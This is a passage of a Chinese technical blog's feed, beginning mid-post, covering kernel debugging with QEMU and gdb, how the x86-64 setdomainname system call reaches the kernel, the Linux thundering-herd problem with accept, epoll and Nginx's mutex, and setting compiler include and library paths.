&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-system-x86_64 -kernel &amp;#x2F;usr&amp;#x2F;src&amp;#x2F;linux-4.6.2&amp;#x2F;arch&amp;#x2F;x86&amp;#x2F;boot&amp;#x2F;bzImage -initrd …&amp;#x2F;initramfs.img -smp 2 -S -s  -display curses 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;gdb&quot; class=&quot;language-gdb &quot;&gt;&lt;code class=&quot;language-gdb&quot; data-lang=&quot;gdb&quot;&gt;gdb &amp;#x2F;usr&amp;#x2F;src&amp;#x2F;linux-4.6.2&amp;#x2F;vmlinux (修改成自己的vmlinux路径)
target remote:1234 (默认端口是1234，进行远程连接)
b start_kernel (设置断点)
c (continue 运行到断点处)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tong-guo-hui-bian-zhi-ling-hong-fa-gai-xi-tong-diao-yong&quot;&gt;通过汇编指令触发该系统调用&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;首先查看系统调用表，选择setdomainname&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat ~&amp;#x2F;linux-5.4.34&amp;#x2F;arch&amp;#x2F;x86&amp;#x2F;entry&amp;#x2F;syscalls&amp;#x2F;syscall_64.tbl
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第一列的数字是系统调用号。
第三列是系统调用的名字。
第四列是系统调用在内核的实现函数。
如上图，171是写调用: 系统调用 setdomainname，函数入口为 __x64_sys_setdomainname。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
int main (int argc, char *argv[])
{
	int a,b;
	char buf[50]=&amp;quot;test123&amp;quot;;
	int size=sizeof(&amp;quot;test123&amp;quot;);
	a=setdomainname(buf,sizeof(&amp;quot;test123&amp;quot;));
	printf(&amp;quot;a=%d\n&amp;quot;,a);
	b=getdomainname(buf,sizeof(buf));
	printf(&amp;quot;new domainname is %s\n&amp;quot;,buf);
	return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main (int argc,char *argv[])
{
        int a,b;
        char buf[50] = &amp;quot;abc444&amp;quot;;
        int size = sizeof(&amp;quot;abc444&amp;quot;);
        asm volatile(
                &amp;quot;movq %1,%%rdi\n\t&amp;quot;            &amp;#x2F;&amp;#x2F;EDI寄存器用于传递参数
                &amp;quot;movq %2,%%rsi\n\t&amp;quot;            &amp;#x2F;&amp;#x2F;ESI寄存器用于传递参数
                &amp;quot;movq $0xab,%%rax\n\t&amp;quot;         &amp;#x2F;&amp;#x2F;使用EAX传递系统调用号
                &amp;quot;syscall\n\t&amp;quot;                  &amp;#x2F;&amp;#x2F;64位触发系统调用 ,32位使用int $x80 回去内存特定地址执行指定函数
                &amp;quot;movq %%rax,%0\n\t&amp;quot;      	   &amp;#x2F;&amp;#x2F;保存返回值
                : &amp;quot;=m&amp;quot;(a)
                : &amp;quot;g&amp;quot; (buf),&amp;quot;g&amp;quot; (size)    &amp;#x2F;* input g mean Choose any one Regtster*&amp;#x2F;
                );

        printf(&amp;quot;a=%d\n&amp;quot;,a);
        b=getdomainname(buf,sizeof(buf));
        printf(&amp;quot;new domainname is %s\n&amp;quot;,buf);
        return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc -o write-asm write-asm.c -static
&amp;#x2F;&amp;#x2F;主要要静态编译
.&amp;#x2F;write
qemu-system-x86_64 -kernel ~&amp;#x2F;linux-5.4.34&amp;#x2F;arch&amp;#x2F;x86&amp;#x2F;boot&amp;#x2F;bzImage -initrd rootfs.cpio.gz -S -s -nographic -append &amp;quot;console=ttyS0&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fen-xi-xi-tong-diao-yong-zai-nei-he-tai-de-gong-zuo-ji-zhi&quot;&gt;分析系统调用在内核态的工作机制&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2023&#x2F;10&#x2F;%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8&#x2F;syscall-implement-20231220190830-edzaolm.png&quot; alt=&quot;系统调用实现原理&quot; &#x2F;&gt;
应用程序调用一个库函数xyz()
库函数内封装了一个系统调用SYSCALL，它将参数(系统调用号)传递给内核并触发中断
触发中断后，内核进行中断处理，执行系统调用处理函数 (5.0内核中是entry_INT80_32，不再是system_call了)
系统调用处理函数会根据系统调用号，选择相应的系统调用服务例程（在这里是sys_xyz)，真正开始处理该系统调用&lt;&#x2F;p&gt;
&lt;p&gt;其中 setdomainname函数由glibc实现
源码位于glibc下的.&#x2F;sysdeps&#x2F;unix&#x2F;sysv&#x2F;linux&#x2F;x86_64&#x2F;sysdep.h
比如 syscall0的定义&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#undef internal_syscall0
#define internal_syscall0(number, dummy...)             \
({                                  \
    unsigned long int resultvar;                    \
    asm volatile (                          \
    &amp;quot;syscall\n\t&amp;quot;                           \
    : &amp;quot;=a&amp;quot; (resultvar)                          \
    : &amp;quot;0&amp;quot; (number)                          \
    : &amp;quot;memory&amp;quot;, REGISTERS_CLOBBERED_BY_SYSCALL);            \
    (long int) resultvar;                       \
})
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中的
&quot;syscall\n\t&quot;
为调用特殊模块寄存器（Model Specific Registers，简称 MSR）。这种寄存器是 CPU 为了完成某些特殊控制功能为目的的寄存器，其中就有系统调用。
其值由人为定义.相当于手动配置的常量内存,由系统初始化时指定.&lt;&#x2F;p&gt;
&lt;p&gt;在系统初始化的时候，trap_init 除了初始化上面的中断模式，这里面还会调用 cpu_init-&amp;gt;syscall_init。*arch&#x2F;x86&#x2F;kernel&#x2F;cpu&#x2F;common.c 的 syscall_init 中初始化代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;void syscall_init(void)
{
    extern char _entry_trampoline[];
    extern char entry_SYSCALL_64_trampoline[];

    int cpu = smp_processor_id();
    unsigned long SYSCALL64_entry_trampoline =
        (unsigned long)get_cpu_entry_area(cpu)-&amp;gt;entry_trampoline +
        (entry_SYSCALL_64_trampoline - _entry_trampoline);

    wrmsr(MSR_STAR, 0, (__USER32_CS &amp;lt;&amp;lt; 16) | __KERNEL_CS);
    if (static_cpu_has(X86_FEATURE_PTI))
        wrmsrl(MSR_LSTAR, SYSCALL64_entry_trampoline);     
    else
        wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;MSR_LSTAR 就是这样一个特殊的寄存器，当 syscall 指令调用的时候，会从这个寄存器里面拿出函数地址来调用，也就是调用 entry_SYSCALL_64。
这一步也就是堆栈信息中的 ??() 部分的动作,至此系统完成了以下动作:
将调用号由用户态数据栈写入eax寄存器,将系统调用的参数依次写入寄存器rdi,rsi,rdx,r10,r8,r9(如果有)
中断系统
找到内存中系统调用内核态函数entry_SYSCALL_64的入口,进入内核态&lt;&#x2F;p&gt;
&lt;p&gt;汇编指令 syscall 触发系统调用，通过MSR寄存器找到了中断函数入口，此时，代码执行到arch&#x2F;x86&#x2F;entry&#x2F;entry_64.S 目录下的ENTRY(entry_SYSCALL_64)入口，然后开始通过swapgs 和压栈动作保存现场。&lt;&#x2F;p&gt;
&lt;p&gt;然后跳转到了arch&#x2F;x86&#x2F;entry&#x2F;common.c:290 目录下的 do_syscall_64 函数，在ax寄存器中获取到系统调用号，然后去执行系统调用内容:
接下来，在编译的过程中，需要根据 syscall_64.tbl 生成 unistd_64.h。生成方式在 arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;Makefile 中。
这里面会使用两个脚本，其中第一个脚本 arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;syscallhdr.sh，会在文件中生成  __NR_open；
第二个脚本 arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;syscalltbl.sh，会在文件中生成 _*SYSCALL(**NR_open, sys_open)。**这样，unistd_64.h 是对应的系统调用号和系统调用实现函数之间的对应关系。*&lt;em&gt;在文件 arch&#x2F;x86&#x2F;entry&#x2F;syscall_64.c，定义了这样一个表，里面 include 了这个头文件，这样所有的 sys&lt;&#x2F;em&gt; 系统调用就都在这个表里面了&lt;&#x2F;p&gt;
&lt;p&gt;其中sys_call_table()定义在arch&#x2F;x86&#x2F;entry&#x2F;syscall_64.c :21
通过引入&amp;lt;asm&#x2F;syscalls_64.h&amp;gt; 来找到系统调用对应的入口&lt;&#x2F;p&gt;
&lt;p&gt;然后程序跳转到kernel&#x2F;sys.c下的__x64_sys_setdomainname 函数，开始执行：
函数执行完后回到步骤(3)中的 syscall_return_slowpath(regs); 准备进行恢复现场：
接着程序再次回到arch&#x2F;x86&#x2F;entry&#x2F;entry_64.S，执行恢复现场，最后两句完成了堆栈的切换。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2023&#x2F;10&#x2F;%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8&#x2F;syscall-chain-20231220190830-939br2s.png&quot; alt=&quot;syscall调用过程&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux惊群处理 - thundering herd</title>
        <published>2023-10-25T14:02:50+08:00</published>
        <updated>2023-10-25T14:02:50+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2023/10/惊群-thundering-herd/"/>
        <id>https://vercel.juzhong.asia/2023/10/惊群-thundering-herd/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2023/10/惊群-thundering-herd/">&lt;h1 id=&quot;linuxliang-qun-chu-li-thundering-herd&quot;&gt;linux惊群处理 - thundering herd&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;liang-qun-de-xian-zhuang&quot;&gt;惊群的现状&lt;&#x2F;h1&gt;
&lt;p&gt;不管是多进程还是多线程，都存在惊群效应，本篇文章使用多进程分析。
在Linux2.6版本之后，已经解决了系统调用accept的惊群效应（前提是没有使用select、poll、epoll等事件通知机制）。
目前Linux已经部分解决了epoll的惊群效应（epoll在fork之前），Linux2.6是没有解决的。
epoll在fork之后创建仍然存在惊群效应，Nginx使用自己实现的互斥锁解决惊群效应&lt;&#x2F;p&gt;
&lt;h1 id=&quot;liang-qun-xiao-ying-shi-shen-me&quot;&gt;惊群效应是什么&lt;&#x2F;h1&gt;
&lt;p&gt;惊群效应（thundering herd）是指多进程（多线程）在同时阻塞等待同一个事件的时候（休眠状态），如果等待的这个事件发生，那么他就会唤醒等待的所有进程（或者线程），
但是最终却只能有一个进程（线程）获得这个时间的“控制权”，对该事件进行处理，而其他进程（线程）获取“控制权”失败，只能重新进入休眠状态，这种现象和性能浪费就叫做惊群效应&lt;&#x2F;p&gt;
&lt;h1 id=&quot;liang-qun-xiao-ying-xiao-hao-liao-shen-me&quot;&gt;惊群效应消耗了什么&lt;&#x2F;h1&gt;
&lt;p&gt;Linux内核对用户进程（线程）频繁地做无效的调度、上下文切换等使系统性能大打折扣。上下文切换（context switch）过高会导致cpu像个搬运工，频繁地在寄存器和运行队列之间奔波，更多的时间花在了进程（线程）切换，
而不是在真正工作的进程（线程）上面。直接的消耗包括cpu寄存器要保存和加载（例如程序计数器）、系统调度器的代码需要执行。间接的消耗在于多核cache之间的共享数据。
为了确保只有一个进程（线程）得到资源，需要对资源操作进行加锁保护，加大了系统的开销。
目前一些常见的服务器软件有的是通过锁机制解决的，比如Nginx（它的锁机制是默认开启的，可以关闭）；还有些认为惊群对系统性能影响不大，没有去处理，比如Lighttpd&lt;&#x2F;p&gt;
&lt;h1 id=&quot;linuxjie-jue-fang-an-zhi-accept&quot;&gt;Linux解决方案之Accept&lt;&#x2F;h1&gt;
&lt;p&gt;Linux 2.6版本之前，监听同一个socket的进程会挂在同一个等待队列上，当请求到来时，会唤醒所有等待的进程。
Linux 2.6版本之后，通过引入一个标记位WQ_FLAG_EXCLUSIVE，解决掉了Accept惊群效应。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F; 当accept的时候，如果没有连接则会一直阻塞（没有设置非阻塞）
&amp;#x2F;&amp;#x2F; 其阻塞函数就是：inet_csk_accept（accept的原型函数）  
struct sock *inet_csk_accept(struct sock *sk, int flags, int *err)
{
    ...  
    &amp;#x2F;&amp;#x2F; 等待连接 
    error = inet_csk_wait_for_connect(sk, timeo); 
    ...  
}

static int inet_csk_wait_for_connect(struct sock *sk, long timeo)
{
    ...
    for (;;) {  
        &amp;#x2F;&amp;#x2F; 只有一个进程会被唤醒。
        &amp;#x2F;&amp;#x2F; 非exclusive的元素会加在等待队列前头，exclusive的元素会加在所有非exclusive元素的后头。
        prepare_to_wait_exclusive(sk_sleep(sk), &amp;amp;wait,TASK_INTERRUPTIBLE);  
    }  
    ...
}

void prepare_to_wait_exclusive(wait_queue_head_t *q, wait_queue_t *wait, int state)  
{
    unsigned long flags;  
    &amp;#x2F;&amp;#x2F; 设置等待队列的flag为EXCLUSIVE，设置这个就是表示一次只会有一个进程被唤醒，我们等会就会看到这个标记的作用。  
    &amp;#x2F;&amp;#x2F; 注意这个标志，唤醒的阶段会使用这个标志。
    wait-&amp;gt;flags |= WQ_FLAG_EXCLUSIVE;  
    spin_lock_irqsave(&amp;amp;q-&amp;gt;lock, flags);  
    if (list_empty(&amp;amp;wait-&amp;gt;task_list))  
    &amp;#x2F;&amp;#x2F; 加入等待队列  
    __add_wait_queue_tail(q, wait);  
    set_current_state(state);  
    spin_unlock_irqrestore(&amp;amp;q-&amp;gt;lock, flags);  
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;唤醒阻塞的accept代码片段如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F; 当有tcp连接完成，就会从半连接队列拷贝socket到连接队列，这个时候我们就可以唤醒阻塞的accept了。
int tcp_v4_do_rcv(struct sock *sk, struct sk_buff *skb)
{
    ...
    &amp;#x2F;&amp;#x2F; 关注此函数
    if (tcp_child_process(sk, nsk, skb)) { 
        rsk = nsk;  
        goto reset;  
    }
    ...
}

int tcp_child_process(struct sock *parent, struct sock *child, struct sk_buff *skb)
{
    ...
    &amp;#x2F;&amp;#x2F; Wakeup parent, send SIGIO 唤醒父进程
    if (state == TCP_SYN_RECV &amp;amp;&amp;amp; child-&amp;gt;sk_state != state) {
        &amp;#x2F;&amp;#x2F; 调用sk_data_ready通知父进程
        &amp;#x2F;&amp;#x2F; 查阅资料我们知道tcp中这个函数对应是sock_def_readable
        &amp;#x2F;&amp;#x2F; 而sock_def_readable会调用wake_up_interruptible_sync_poll来唤醒队列
        parent-&amp;gt;sk_data_ready(parent, 0);  
    }
    ...
}

void __wake_up_sync_key(wait_queue_head_t *q, unsigned int mode, int nr_exclusive, void *key)  
{  
    ...  
    &amp;#x2F;&amp;#x2F; 关注此函数
    __wake_up_common(q, mode, nr_exclusive, wake_flags, key);  
    spin_unlock_irqrestore(&amp;amp;q-&amp;gt;lock, flags);  
    ...  
}

static void __wake_up_common(wait_queue_head_t *q, unsigned int mode, int nr_exclusive, int wake_flags, void *key)
{
    ...
    &amp;#x2F;&amp;#x2F; 传进来的nr_exclusive是1
    &amp;#x2F;&amp;#x2F; 所以flags &amp;amp; WQ_FLAG_EXCLUSIVE为真的时候，执行一次，就会跳出循环
    &amp;#x2F;&amp;#x2F; 我们记得accept的时候，加到等待队列的元素就是WQ_FLAG_EXCLUSIVE的
    list_for_each_entry_safe(curr, next, &amp;amp;q-&amp;gt;task_list, task_list) {  
        unsigned flags = curr-&amp;gt;flags;  
        if (curr-&amp;gt;func(curr, mode, wake_flags, key) 
        &amp;amp;&amp;amp; (flags &amp;amp; WQ_FLAG_EXCLUSIVE) &amp;amp;&amp;amp; !--nr_exclusive)
        break; 
    }
    ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;linuxjie-jue-fang-an-zhi-epoll&quot;&gt;Linux解决方案之Epoll&lt;&#x2F;h1&gt;
&lt;p&gt;在使用select、poll、epoll、kqueue等IO复用时，多进程（线程）处理链接更加复杂。
因此在讨论epoll的惊群效应时候，需要分为两种情况：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;epoll_create在fork之前创建&lt;&#x2F;li&gt;
&lt;li&gt;epoll_create在fork之后创建&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;epoll-createzai-forkzhi-qian-chuang-jian&quot;&gt;epoll_create在fork之前创建&lt;&#x2F;h2&gt;
&lt;p&gt;与accept惊群的原因类似，当有事件发生时，等待同一个文件描述符的所有进程（线程）都将被唤醒，而且解决思路和accept一致。
为什么需要全部唤醒？因为内核不知道，你是否在等待文件描述符来调用accept()函数，还是做其他事情（信号处理，定时事件）。
此种情况惊群效应已经被解决。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;epoll-createzai-forkzhi-hou-chuang-jian&quot;&gt;epoll_create在fork之后创建&lt;&#x2F;h2&gt;
&lt;p&gt;epoll_create在fork之前创建的话，所有进程共享一个epoll红黑数。
如果我们只需要处理accept事件的话，貌似世界一片美好了。但是epoll并不是只处理accept事件，accept后续的读写事件都需要处理，还有定时或者信号事件。
当连接到来时，我们需要选择一个进程来accept，这个时候，任何一个accept都是可以的。当连接建立以后，后续的读写事件，却与进程有了关联。一个请求与a进程建立连接后，后续的读写也应该由a进程来做。
当读写事件发生时，应该通知哪个进程呢？epoll并不知道，因此，事件有可能错误通知另一个进程，这是不对的。所以一般在每个进程（线程）里面会再次创建一个epoll事件循环机制，每个进程的读写事件只注册在自己进程的epoll种。
我们知道epoll对惊群效应的修复，是建立在共享在同一个epoll结构上的。epoll_create在fork之后执行，每个进程有单独的epoll红黑树，等待队列，ready事件列表。因此，惊群效应再次出现了。有时候唤醒所有进程，有时候唤醒部分进程，可能是因为事件已经被某些进程处理掉了，因此不用在通知另外还未通知到的进程了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nginxjie-jue-fang-an-zhi-suo-de-she-ji&quot;&gt;Nginx解决方案之锁的设计&lt;&#x2F;h2&gt;
&lt;p&gt;首先我们要知道在用户空间进程间锁实现的原理，起始原理很简单，就是能弄一个让所有进程共享的东西，比如mmap的内存，比如文件，然后通过这个东西来控制进程的互斥。
Nginx中使用的锁是自己来实现的，这里锁的实现分为两种情况，一种是支持原子操作的情况，也就是由NGX_HAVE_ATOMIC_OPS这个宏来进行控制的，一种是不支持原子操作，这是是使用文件锁来实现。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;suo-jie-gou-ti&quot;&gt;锁结构体&lt;&#x2F;h3&gt;
&lt;p&gt;如果支持原子操作，则我们可以直接使用mmap，然后lock就保存mmap的内存区域的地址。
如果不支持原子操作，则我们使用文件锁来实现，这里fd表示进程间共享的文件句柄，name表示文件名。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;typedef struct {  
    #if (NGX_HAVE_ATOMIC_OPS)  
        ngx_atomic_t  *lock;  
    #else  
        ngx_fd_t       fd;  
        u_char        *name;  
    #endif  
} ngx_shmtx_t;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yuan-zi-suo-chuang-jian&quot;&gt;原子锁创建&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F; 如果支持原子操作的话，非常简单，就是将共享内存的地址付给loc这个域
ngx_int_t ngx_shmtx_create(ngx_shmtx_t *mtx, void *addr, u_char *name)  
{  
    mtx-&amp;gt;lock = addr;
    return NGX_OK;  
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原子锁获取
trylock它是非阻塞的，也就是说它会尝试的获得锁，如果没有获得的话，它会直接返回错误。
lock它也会尝试获得锁，而当没有获得他不会立即返回，而是开始进入循环然后不停的去获得锁，知道获得。不过Nginx这里还有用到一个技巧，就是每次都会让当前的进程放到cpu的运行队列的最后一位，也就是自动放弃cpu。
原子锁实现
如果系统库支持的情况，此时直接调用OSAtomicCompareAndSwap32Barrier即CAS。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#define ngx_atomic_cmp_set(lock, old, new)                                   
    OSAtomicCompareAndSwap32Barrier(old, new, (int32_t *) lock)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果系统库不支持这个指令的话，Nginx自己还用汇编实现了一个。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;static ngx_inline ngx_atomic_uint_t ngx_atomic_cmp_set(ngx_atomic_t *lock, ngx_atomic_uint_t old,  
    ngx_atomic_uint_t set)  
{  
    u_char  res;

    __asm__ volatile (

         NGX_SMP_LOCK  
    &amp;quot;    cmpxchgl  %3, %1;   &amp;quot;  
    &amp;quot;    sete      %0;       &amp;quot;

    : &amp;quot;=a&amp;quot; (res) : &amp;quot;m&amp;quot; (*lock), &amp;quot;a&amp;quot; (old), &amp;quot;r&amp;quot; (set) : &amp;quot;cc&amp;quot;, &amp;quot;memory&amp;quot;);

    return res;  
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原子锁释放
unlock比较简单，和当前进程id比较，如果相等，就把lock改为0,说明放弃这个锁。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#define ngx_shmtx_unlock(mtx) 
    (void) ngx_atomic_cmp_set((mtx)-&amp;gt;lock, ngx_pid, 0)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux lib include</title>
        <published>2022-12-18T16:30:31+08:00</published>
        <updated>2026-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/12/lib_include/"/>
        <id>https://vercel.juzhong.asia/2022/12/lib_include/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/12/lib_include/">&lt;h1 id=&quot;linux-lib-include&quot;&gt;linux lib include&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;linuxtou-wen-jian-he-ku-wen-jian-tian-jia-huan-jing-bian-liang-yu-gccbian-yi-qi-tian-jia-includeyu-libhuan-jing-bian-liang&quot;&gt;Linux头文件和库文件添加环境变量与GCC编译器添加INCLUDE与LIB环境变量&lt;&#x2F;h1&gt;
&lt;p&gt;对所有用户有效在&#x2F;etc&#x2F;profile增加以下内容。source &#x2F;etc&#x2F;profile 重新执行修改的初始化文件&#x2F;etc&#x2F;profile，使只立即生效，而不必注销并重新登录。
只对当前用户有效在Home目录下的.bashrc或.bash&lt;sub&gt;profile里增加下面的内容&lt;&#x2F;sub&gt;：source .bashrc
(注意：等号前面不要加空格,否则可能出现 command not found)
#在PATH中找到可执行文件程序的路径。
export PATH =$PATH:$HOME&#x2F;bin&lt;&#x2F;p&gt;
&lt;p&gt;#gcc找到头文件的路径
C&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;=&#x2F;usr&#x2F;include&#x2F;libxml2:&#x2F;MyLib
export C&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
&lt;p&gt;#g++找到头文件的路径
CPLUS&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;=$CPLUS&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;:&#x2F;usr&#x2F;include&#x2F;libxml2:&#x2F;MyLib
export CPLUS&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
&lt;p&gt;#找到动态链接库的路径
LD&lt;sub&gt;LIBRARY&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;=$LD&lt;sub&gt;LIBRARY&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;:&#x2F;MyLib
export LD&lt;sub&gt;LIBRARY&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
&lt;p&gt;#找到静态库的路径
LIBRARY&lt;sub&gt;PATH&lt;&#x2F;sub&gt;=$LIBRARY&lt;sub&gt;PATH&lt;&#x2F;sub&gt;:&#x2F;MyLib
export LIBRARY&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org8ded390&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yan-shen-yue-du&quot;&gt;延伸阅读：&lt;&#x2F;h1&gt;
&lt;p&gt;库文件在连接（静态库和共享 库）和运行（仅限于使用共享库的程序）时被使用，其搜索路径是在系统中进行设置的。一般 Linux 系统把 &#x2F;lib 和 &#x2F;usr&#x2F;lib 两个目录作为默认的库搜索路径，所以使用这两个目录中的库时不需要进行设置搜索路径即可直接使用。对于处于默认库搜索路径之外的库，需要将库的位置添加到 库的搜索路径之中。设置库文件的搜索路径有下列两种方式，可任选其一使用：&lt;&#x2F;p&gt;
&lt;p&gt;在环境变量 LD&lt;sub&gt;LIBRARY&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 中指明库的搜索路径。
在 &#x2F;etc&#x2F;ld.so.conf 文件中添加库的搜索路径。
将自己可能存放库文件的路径都加入到&#x2F;etc&#x2F;ld.so.conf中是明智的选择
添加方法也极其简单，将库文件的绝对路径直接写进去就OK了，一行一个。例如：
&#x2F;usr&#x2F;X11R6&#x2F;lib
&#x2F;usr&#x2F;local&#x2F;lib
&#x2F;opt&#x2F;lib
需要注意的是：第二种搜索路径的设置方式对于程序连接时的库（包括共享库和静态库） 的定位已经足够了，但是对于使用了共享库的程序的执行还是不够的。这是因为为了加快程序执行时对共享库的定位速度，避免使用搜索路径查找共享库的低效率， 所以是直接读取库列表文件 &#x2F;etc&#x2F;ld.so.cache 从中进行搜索的。&#x2F;etc&#x2F;ld.so.cache 是一个非文本的数据文件，不能直接编辑，它是根据 &#x2F;etc&#x2F;ld.so.conf 中设置的搜索路径由 &#x2F;sbin&#x2F;ldconfig 命令将这些搜索路径下的共享库文件集中在一起而生成的（ldconfig 命令要以 root 权限执行）。因此，为了保证程序执行时对库的定位，在 &#x2F;etc&#x2F;ld.so.conf 中进行了库搜索路径的设置之后，还必须要运行 &#x2F;sbin&#x2F;ldconfig 命令更新 &#x2F;etc&#x2F;ld.so.cache 文件之后才可以。ldconfig ,简单的说，它的作用就是将&#x2F;etc&#x2F;ld.so.conf列出的路径下的库文件缓存到&#x2F;etc&#x2F;ld.so.cache 以供使用。因此当安装完一些库文件，(例如刚安装好glib)，或者修改ld.so.conf增加新的库路径后，需要运行一下 &#x2F;sbin&#x2F;ldconfig使所有的库文件都被缓存到ld.so.cache中，如果没做，即使库文件明明就在&#x2F;usr&#x2F;lib下的，也是不会被使用 的，结果编译过程中抱错，缺少xxx库，去查看发现明明就在那放着，搞的想大骂computer蠢猪一个。&lt;&#x2F;p&gt;
